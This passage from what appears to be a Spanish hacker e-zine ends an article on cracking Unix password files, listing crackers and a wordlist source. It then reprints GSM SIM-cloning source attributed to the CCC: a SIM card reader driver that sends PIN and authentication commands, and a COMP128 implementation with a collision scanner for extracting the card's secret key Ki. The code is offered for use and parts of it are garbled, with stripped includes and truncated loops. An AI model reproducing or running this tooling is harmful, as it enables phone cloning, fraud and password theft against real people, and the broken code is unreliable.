pais extranjero, lo logico es que useis un diccionario en ese idioma, ya que asi conseguireis averiguar mas cuentas. Un buen sitio para pillar diccionarios es el siguiente url: http://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html Para que luego digan que no aprovechamos los recursos de la NCSA :) Y ahora un pongo una lista con los diferentes crackeadores que os podreis encontrar en Internet o en nuestra seccion de CRACK. Nombre Plataforma ------ ---------- # Crack Unix\Dos # CrackerJack Unix\Dos\Os/2 # PaceCrack95 Windows # Qcrack Dos\Windows # John the Ripper Unix\Dos\Windows # Pcrack Unix # Hades Dos # Star Cracker Dos # Killer Cracker Unix # Hellfire Cracker Dos # Xit Dos # Claymore Windows # Guess Dos # PC Unix Password Cracker Dos # Merlin Unix Por si no queda lo suficientemente claro todos estos crackeadores solo sirven para los ficheros /etc/passwd de Unix, la plataforma, es en el sistema operativo la cual corren estos programas. Para conseguir una gran variedad de crackeadores lo mejor es pasar por nuestra seccion de CRACK, en la cual podras bajarte muchos, incluido el John. En caso que algo no haya quedado claro, pues en envias un mail y lo solucionare en el proximo numero :) Byes all y hasta la vista !! CONDE VAMPIRO - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> \-------------------------------/ \ CLONANDO MOVILES DEL CCC / \-----------------------/ NOTA DE - J.J.F. / HACKERS TEAM - : Todo este codigo fuente fue obtenido en el website del CCC (Chaos Computer Club). Un conocido grupo de hackers alemanes. Por lo que no nos hacemos responsables del mal uso del material aqui expuesto. Este codigo es para sistemas operativos Linux. http://www.ccc.de File : getresponse.cc ------------ Codigo Fuente --------------------------------------------------- #include "getresponse.h" #include #include #include #include #define private private_hack extern "C" { #include #include #include } #undef private int timeout; SIO_INFO* si; Byte selectfile[] = { 0xa0, 0xa4, 0x00, 0x00, 0x02 }; Byte gsm_file[] = { 0x7f, 0x20 }; Byte gsm2_file[] = { 0x7f, 0x21 }; Byte get_res[] = { 0xa0, 0xc0, 0x00, 0x00, 0x00 }; Byte verify_pin[] = { 0xa0, 0x20, 0x00, 0x01, 0x08 }; Byte generate_sres[] = { 0xa0, 0x88, 0x00, 0x00, 0x10 }; void init_card(char* devicename, Byte pin[8]) { Byte buffer[32]; int i; SC_ATR * atr; SC_STATE *sc; SLOG *log; si = SIO_Open(devicename); if (si!=NULL) { /* setup for 9600, 8 data, 2 stop, even parity */ SIO_SetSpeed(si,9600); SIO_SetDataBits(si,8); SIO_SetStopBits(si,2); SIO_SetParity(si,SIO_PARITY_ODD); SIO_SetIOMode(si,SIO_IOMODE_INDIRECT); SIO_FilterEcho(si, 1); /* now actually change the line settings */ SIO_WriteSettings(si); /* trigger ATR from a Smartcard */ if(i = SCT0_GetATR(si, buffer, 32)) { atr=SC_DecodeATR(buffer, i); printf("ATR: %s\n", SC_ATR2Text(atr, 0)); SIO_Delay(si,10000); SIO_WriteBuffer(si, selectfile, 5); SIO_WaitForData(si, 1000); SIO_ReadBuffer(si, buffer, 32); SIO_WriteBuffer(si, gsm_file, 2); SIO_WaitForData(si, 1000); SIO_ReadBuffer(si, buffer, 32); if(buffer[0] != 0x9f) { printf("selecting gsm_file failed, trying DCS1800!\n"); SIO_WriteBuffer(si, selectfile, 5); SIO_WaitForData(si, 1000); SIO_ReadBuffer(si, buffer, 32); SIO_WriteBuffer(si, gsm2_file, 2); SIO_WaitForData(si, 1000); SIO_ReadBuffer(si, buffer, 32); if(buffer[0] != 0x9f) { printf("selecting gsm_file failed!\n"); exit(1); } } get_res[4] = buffer[1]; memcpy(buffer, get_res, 5); SIO_WriteBuffer(si, buffer, 5); SIO_WaitForData(si, 1000); i = SIO_ReadBuffer(si, buffer, 32); SIO_WriteBuffer(si, verify_pin, 5); SIO_WaitForData(si, 1000); i = SIO_ReadBuffer(si, buffer, 32); SIO_WriteBuffer(si, pin, 8); SIO_Delay(si,100000); SIO_WaitForData(si, 1000); i = SIO_ReadBuffer(si, buffer, 32); if(buffer[0] != 0x90) { printf("PIN verification failed!\n"); for(int j=0; j ' to start scanning. The PIN is the PIN of the card. timeout is the time the card should wait for the response, the GSM standard specifies that to be 50ms, give 50000 here. You have to change the serial device and communication parameters in the source. Sorry. Andreas ------------ FIN ------------------------------------------------------------- File : scan_collision.cc ------------ Codigo Fuente --------------------------------------------------- #include #include #include #include "getresponse.h" #undef TEST typedef unsigned char Byte; struct ltsim { bool operator()(const Byte* b1, const Byte* b2) const { return memcmp(b1, b2, 12) < 0; } }; typedef map simoutput_map; /* An implementation of the GSM A3A8 algorithm. (Specifically, COMP128.) */ /* Copyright 1998, Marc Briceno, Ian Goldberg, and David Wagner. * All rights reserved. */ /* * For expository purposes only. Coded in C merely because C is a much * more precise, concise form of expression for these purposes. See Judge * Patel if you have any problems with this... * Of course, it's only authentication, so it should be exportable for the * usual boring reasons. */ /* The compression tables. */ static const Byte table_0[512] = { 102,177,186,162, 2,156,112, 75, 55, 25, 8, 12,251,193,246,188, 109,213,151, 53, 42, 79,191,115,233,242,164,223,209,148,108,161, 252, 37,244, 47, 64,211, 6,237,185,160,139,113, 76,138, 59, 70, 67, 26, 13,157, 63,179,221, 30,214, 36,166, 69,152,124,207,116, 247,194, 41, 84, 71, 1, 49, 14, 95, 35,169, 21, 96, 78,215,225, 182,243, 28, 92,201,118, 4, 74,248,128, 17, 11,146,132,245, 48, 149, 90,120, 39, 87,230,106,232,175, 19,126,190,202,141,137,176, 250, 27,101, 40,219,227, 58, 20, 51,178, 98,216,140, 22, 32,121, 61,103,203, 72, 29,110, 85,212,180,204,150,183, 15, 66,172,196, 56,197,158, 0,100, 45,153, 7,144,222,163,167, 60,135,210,231, 174,165, 38,249,224, 34,220,229,217,208,241, 68,206,189,125,255, 239, 54,168, 89,123,122, 73,145,117,234,143, 99,129,200,192, 82, 104,170,136,235, 93, 81,205,173,236, 94,105, 52, 46,228,198, 5, 57,254, 97,155,142,133,199,171,187, 50, 65,181,127,107,147,226, 184,218,131, 33, 77, 86, 31, 44, 88, 62,238, 18, 24, 43,154, 23, 80,159,134,111, 9,114, 3, 91, 16,130, 83, 10,195,240,253,119, 177,102,162,186,156, 2, 75,112, 25, 55, 12, 8,193,251,188,246, 213,109, 53,151, 79, 42,115,191,242,233,223,164,148,209,161,108, 37,252, 47,244,211, 64,237, 6,160,185,113,139,138, 76, 70, 59, 26, 67,157, 13,179, 63, 30,221, 36,214, 69,166,124,152,116,207, 194,247, 84, 41, 1, 71, 14, 49, 35, 95, 21,169, 78, 96,225,215, 243,182, 92, 28,118,201, 74, 4,128,248, 11, 17,132,146, 48,245, 90,149, 39,120,230, 87,232,106, 19,175,190,126,141,202,176,137, 27,250, 40,101,227,219, 20, 58,178, 51,216, 98, 22,140,121, 32, 103, 61, 72,203,110, 29,212, 85,204,180,183,150, 66, 15,196,172, 197, 56, 0,158, 45,100, 7,153,222,144,167,163,135, 60,231,210, 165,174,249, 38, 34,224,229,220,208,217, 68,241,189,206,255,125, 54,239, 89,168,122,123,145, 73,234,117, 99,143,200,129, 82,192, 170,104,235,136, 81, 93,173,205, 94,236, 52,105,228, 46, 5,198, 254, 57,155, 97,133,142,171,199, 50,187,181, 65,107,127,226,147, 218,184, 33,131, 86, 77, 44, 31, 62, 88, 18,238, 43, 24, 23,154, 159, 80,111,134,114, 9, 91, 3,130, 16, 10, 83,240,195,119,253 }, table_1[256] = { 19, 11, 80,114, 43, 1, 69, 94, 39, 18,127,117, 97, 3, 85, 43, 27,124, 70, 83, 47, 71, 63, 10, 47, 89, 79, 4, 14, 59, 11, 5, 35,107,103, 68, 21, 86, 36, 91, 85,126, 32, 50,109, 94,120, 6, 53, 79, 28, 45, 99, 95, 41, 34, 88, 68, 93, 55,110,125,105, 20, 90, 80, 76, 96, 23, 60, 89, 64,121, 56, 14, 74,101, 8, 19, 78, 76, 66,104, 46,111, 50, 32, 3, 39, 0, 58, 25, 92, 22, 18, 51, 57, 65,119,116, 22,109, 7, 86, 59, 93, 62,110, 78, 99, 77, 67, 12,113, 87, 98,102, 5, 88, 33, 38, 56, 23, 8, 75, 45, 13, 75, 95, 63, 28, 49,123,120, 20,112, 44, 30, 15, 98,106, 2,103, 29, 82,107, 42,124, 24, 30, 41, 16,108,100,117, 40, 73, 40, 7,114, 82,115, 36,112, 12,102,100, 84, 92, 48, 72, 97, 9, 54, 55, 74, 113,123, 17, 26, 53, 58, 4, 9, 69,122, 21,118, 42, 60, 27, 73, 118,125, 34, 15, 65,115, 84, 64, 62, 81, 70, 1, 24,111,121, 83, 104, 81, 49,127, 48,105, 31, 10, 6, 91, 87, 37, 16, 54,116,126, 31, 38, 13, 0, 72,106, 77, 61, 26, 67, 46, 29, 96, 37, 61, 52, 101, 17, 44,108, 71, 52, 66, 57, 33, 51, 25, 90, 2,119,122, 35 }, table_2[128] = { 52, 50, 44, 6, 21, 49, 41, 59, 39, 51, 25, 32, 51, 47, 52, 43, 37, 4, 40, 34, 61, 12, 28, 4, 58, 23, 8, 15, 12, 22, 9, 18, 55, 10, 33, 35, 50, 1, 43, 3, 57, 13, 62, 14, 7, 42, 44, 59, 62, 57, 27, 6, 8, 31, 26, 54, 41, 22, 45, 20, 39, 3, 16, 56, 48, 2, 21, 28, 36, 42, 60, 33, 34, 18, 0, 11, 24, 10, 17, 61, 29, 14, 45, 26, 55, 46, 11, 17, 54, 46, 9, 24, 30, 60, 32, 0, 20, 38, 2, 30, 58, 35, 1, 16, 56, 40, 23, 48, 13, 19, 19, 27, 31, 53, 47, 38, 63, 15, 49, 5, 37, 53, 25, 36, 63, 29, 5, 7 }, table_3[64] = { 1, 5, 29, 6, 25, 1, 18, 23, 17, 19, 0, 9, 24, 25, 6, 31, 28, 20, 24, 30, 4, 27, 3, 13, 15, 16, 14, 18, 4, 3, 8, 9, 20, 0, 12, 26, 21, 8, 28, 2, 29, 2, 15, 7, 11, 22, 14, 10, 17, 21, 12, 30, 26, 27, 16, 31, 11, 7, 13, 23, 10, 5, 22, 19 }, table_4[32] = { 15, 12, 10, 4, 1, 14, 11, 7, 5, 0, 14, 7, 1, 2, 13, 8, 10, 3, 4, 9, 6, 0, 3, 2, 5, 6, 8, 9, 11, 13, 15, 12 }, *table[5] = { table_0, table_1, table_2, table_3, table_4 }; /* * rand[0..15]: the challenge from the base station * key[0..15]: the SIM's A3/A8 long-term key Ki * simoutput[0..11]: what you'd get back if you fed rand and key to a real * SIM. * * The GSM spec states that simoutput[0..3] is SRES, * and simoutput[4..11] is Kc (the A5 session key). * (See GSM 11.11, Section 8.16. See also the leaked document * referenced below.) * Note that Kc is bits 74..127 of the COMP128 output, followed by 10 * zeros. * In other words, A5 is keyed with only 54 bits of entropy. This * represents a deliberate weakening of the key used for voice privacy * by a factor of over 1000. * * Verified with a Pacific Bell Schlumberger SIM. Your mileage may vary. * * Marc Briceno , Ian Goldberg , * and David Wagner *//* * This code derived from a leaked document from the GSM standards. * Some missing pieces were filled in by reverse-engineering a working SIM. * We have verified that this is the correct COMP128 algorithm. * * The first page of the document identifies it as * _Technical Information: GSM System Security Study_. * 10-1617-01, 10th June 1988. * The bottom of the title page is marked * Racal Research Ltd. * Worton Drive, Worton Grange Industrial Estate, * Reading, Berks. RG2 0SB, England. * Telephone: Reading (0734) 868601 Telex: 847152 * The relevant bits are in Part I, Section 20 (pages 66--67). Enjoy! * * Note: There are three typos in the spec (discovered by * reverse-engineering). * First, "z = (2 * x[n] + x[n]) mod 2^(9-j)" should clearly read * "z = (2 * x[m] + x[n]) mod 2^(9-j)". * Second, the "k" loop in the "Form bits from bytes" section is severely * botched: the k index should run only from 0 to 3, and clearly the range * on "the (8-k)th bit of byte j" is also off (should be 0..7, not 1..8, * to be consistent with the subsequent section). * Third, SRES is taken from the first 8 nibbles of x[], not the last 8 as * claimed in the document. (And the document doesn't specify how Kc is * derived, but that was also easily discovered with reverse engineering.) * All of these typos have been corrected in the following code. */ void A3A8(/* in */ Byte rand[16], /* in */ Byte key[16], /* out */ Byte simoutput[12]) { Byte x[32], bit[128]; int i, j, k, l, m, n, y, z, next_bit; /* ( Load RAND into last 16 bytes of input ) */ for (i=16; i<32; i++) x[i] = rand[i-16]; /* ( Loop eight times ) */ for (i=1; i<9; i++) { /* ( Load key into first 16 bytes of input ) */ for (j=0; j<16; j++) x[j] = key[j]; /* ( Perform substitutions ) */ for (j=0; j<5; j++) for (k=0; k<(1<>(3-k)) & 1; /* ( Permutation but not on the last loop ) */ if (i < 8) for (j=0; j<16; j++) { x[j+16] = 0; for (k=0; k<8; k++) { next_bit = ((8*j + k)*17) % 128; x[j+16] |= bit[next_bit] << (7-k); } } } /* * ( At this stage the vector x[] consists of 32 nibbles. * The first 8 of these are taken as the output SRES. ) */ /* The remainder of the code is not given explicitly in the * standard, but was derived by reverse-engineering. */ for (i=0; i<4; i++) simoutput[i] = (x[2*i]<<4) | x[2*i+1]; for (i=0; i<6; i++) simoutput[4+i] = (x[2*i+18]<<6) | (x[2*i+18+1]<<2) | (x[2*i+18+2]>>2); simoutput[4+6] = (x[2*6+18]<<6) | (x[2*6+18+1]<<2); simoutput[4+7] = 0; } int hextoint(char x) { x = toupper(x); if (x >= 'A' && x <= 'F') return x-'A'+10; else if (x >= '0' && x <= '9') return x-'0'; fprintf(stderr, "bad input.\n"); exit(1); return 0; } int main(int argc, char **argv) { Byte pin[8] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; Byte key[16], simoutput[12]; int i,j,k,l; simoutput_map* simmap; Byte* collision_map[8][2]; #ifdef TEST if (argc != 2 || strlen(argv[1]) != 34 || strncmp(argv[1], "0x", 2) != 0) { fprintf(stderr, "Usage: %s 0x\n", argv[0]); exit(1); } for (i=0; i<16; i++) key[i] = (hextoint(argv[1][2*i+2])<<4) | hextoint(argv[1][2*i+3]); #else if (argc != 3) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(1); } for (i=0; i